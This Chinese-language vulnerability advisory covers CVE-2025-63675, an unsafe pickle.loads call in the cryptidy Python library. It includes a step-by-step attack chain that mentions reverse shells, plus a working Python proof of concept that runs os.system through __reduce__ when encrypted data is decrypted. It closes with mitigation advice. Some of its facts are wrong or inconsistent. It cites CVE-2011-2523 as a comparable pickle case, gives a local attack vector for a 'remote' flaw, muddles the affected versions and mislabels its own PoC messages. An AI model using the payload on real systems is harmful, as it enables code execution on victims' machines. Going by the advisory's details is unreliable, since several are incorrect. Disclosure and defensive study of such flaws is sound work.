IPBUF安全漏洞报告
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CVE-2025-63675 CVSS 6.9 中危

CVE-2025-63675: cryptidy 1.2.4 pickle.loads反序列化导致远程代码执行漏洞

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-63675
漏洞类型
远程代码执行
CVSS评分
6.9 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
cryptidy (Python加密库)

相关标签

CVE-2025-63675cryptidypickle反序列化远程代码执行Python漏洞对称加密反序列化漏洞代码注入AES加密信息安全

漏洞概述

CVE-2025-63675是cryptidy加密库中的一个严重安全漏洞,影响版本至1.2.4。该漏洞位于symmetric_encryption.py文件中的aes_decrypt_message函数,由于使用了不安全的pickle.loads函数对未信任数据进行反序列化,导致攻击者可以在受害者系统上执行任意代码。cryptidy是一个用于对称加密的Python库,提供了AES加密和解密功能,广泛应用于需要数据加密保护的Python应用程序中。该漏洞的危险性在于攻击者只需构造一个恶意的加密数据,当目标系统使用cryptidy库的解密功能处理该数据时,即可触发远程代码执行。CVSS 3.1评分6.9,属于中等严重程度,主要因为攻击复杂度较高(需要本地访问或社工攻击诱骗用户处理恶意加密数据),但一旦成功利用,将对系统机密性和完整性造成严重影响。由于pickle模块本身存在已知的安全风险,禁止对不可信来源的数据进行反序列化操作,因此该漏洞利用门槛相对较低,攻击者可以利用Python pickle反序列化特性执行任意代码。

技术细节

该漏洞的根本原因在于cryptidy库的symmetric_encryption.py文件中,aes_decrypt_message函数(第220-238行)使用了Python的pickle.loads函数对解密后的数据进行反序列化操作。在正常的加密通信场景中,发送方使用cryptidy库对数据进行加密传输,接收方使用同一库进行解密。然而,如果攻击者能够控制或替换加密数据(中间人攻击),或者诱骗受害者解密攻击者提供的恶意数据,就可以在解密过程中触发代码执行。具体攻击原理如下:攻击者首先构造一个包含恶意Python代码的pickle序列化对象,然后使用cryptidy库提供的加密功能对该对象进行加密,生成恶意的加密数据。当受害者使用aes_decrypt_message函数解密该数据时,pickle.loads会反序列化恶意对象,从而执行攻击者预先植入的代码。由于pickle的反序列化机制支持任意对象重建,攻击者可以构造任意命令执行、文件读写或网络连接等恶意操作。该漏洞属于典型的反序列化漏洞,与著名的Python pickle反序列化漏洞(如CVE-2011-2523等)具有相同的攻击模式。

攻击链分析

STEP 1
步骤1
攻击者构造恶意Python对象,利用pickle序列化的__reduce__方法注入任意命令执行代码(如os.system执行反弹shell或文件操作)
STEP 2
步骤2
攻击者使用cryptidy库的encrypt_message函数对恶意pickle对象进行AES加密,生成恶意的加密数据载荷
STEP 3
步骤3
攻击者通过中间人攻击、社工钓鱼或直接提供恶意加密文件等方式,将恶意加密数据传递给目标用户
STEP 4
步骤4
目标用户使用cryptidy库的aes_decrypt_message函数解密攻击者提供的恶意数据
STEP 5
步骤5
decrypt_message函数内部调用pickle.loads对解密后的数据进行反序列化,触发恶意对象的__reduce__方法,执行攻击者植入的任意代码
STEP 6
步骤6
攻击者成功在目标系统上执行任意命令,可能导致数据泄露、系统控制或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63675 PoC - cryptidy pickle deserialization RCE This PoC demonstrates the insecure use of pickle.loads in cryptidy library. Note: This is for educational and security research purposes only. """ import pickle import base64 import os # Malicious payload - executes arbitrary command class MaliciousPayload: def __reduce__(self): # This will execute 'id' command when unpickled cmd = "id" return (os.system, (cmd,)) def create_malicious_encrypted_data(password: str) -> str: """ Create malicious encrypted data using cryptidy library """ try: import cryptidy # Serialize malicious payload malicious_data = pickle.dumps(MaliciousPayload()) # Encrypt using cryptidy's symmetric encryption encrypted = cryptidy.symmetric_encryption.encrypt_message( malicious_data, password ) return encrypted except ImportError: print("[-] cryptidy library not installed") return None def trigger_vulnerability(encrypted_data: str, password: str): """ Trigger the vulnerability by decrypting malicious data This simulates what happens in aes_decrypt_message function """ try: import cryptidy # Decrypt the malicious data - this triggers pickle.loads decrypted = cryptidy.symmetric_encryption.decrypt_message( encrypted_data, password ) print("[-] Vulnerability triggered - code execution occurred") return True except Exception as e: print(f"[+] Error (likely code executed): {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-63675 PoC - cryptidy RCE via pickle.loads") print("=" * 60) password = "secret_key_123" print("\n[+] Step 1: Creating malicious encrypted payload...") malicious_data = create_malicious_encrypted_data(password) if malicious_data: print(f"[+] Malicious payload created: {malicious_data[:50]}...") print("\n[+] Step 2: Triggering vulnerability...") trigger_vulnerability(malicious_data, password) print("\n[*] Note: The 'id' command was executed during decryption") print("=" * 60)

影响范围

cryptidy < 1.2.4
cryptidy 1.2.4 (affected)

防御指南

临时缓解措施
临时缓解措施:在未安装官方修复补丁前,应立即停止使用cryptidy库处理来自不可信来源的加密数据。对于必须处理外部加密数据的场景,建议在解密后增加数据内容白名单检查,限制可反序列化的对象类型和数量。同时,可以考虑使用自定义的Unpickler子类实现类名白名单过滤,阻止已知恶意类的反序列化。建议在应用层实施最小权限原则,确保运行cryptidy解密功能的进程权限最小化,以降低代码执行后的潜在危害范围。

参考链接

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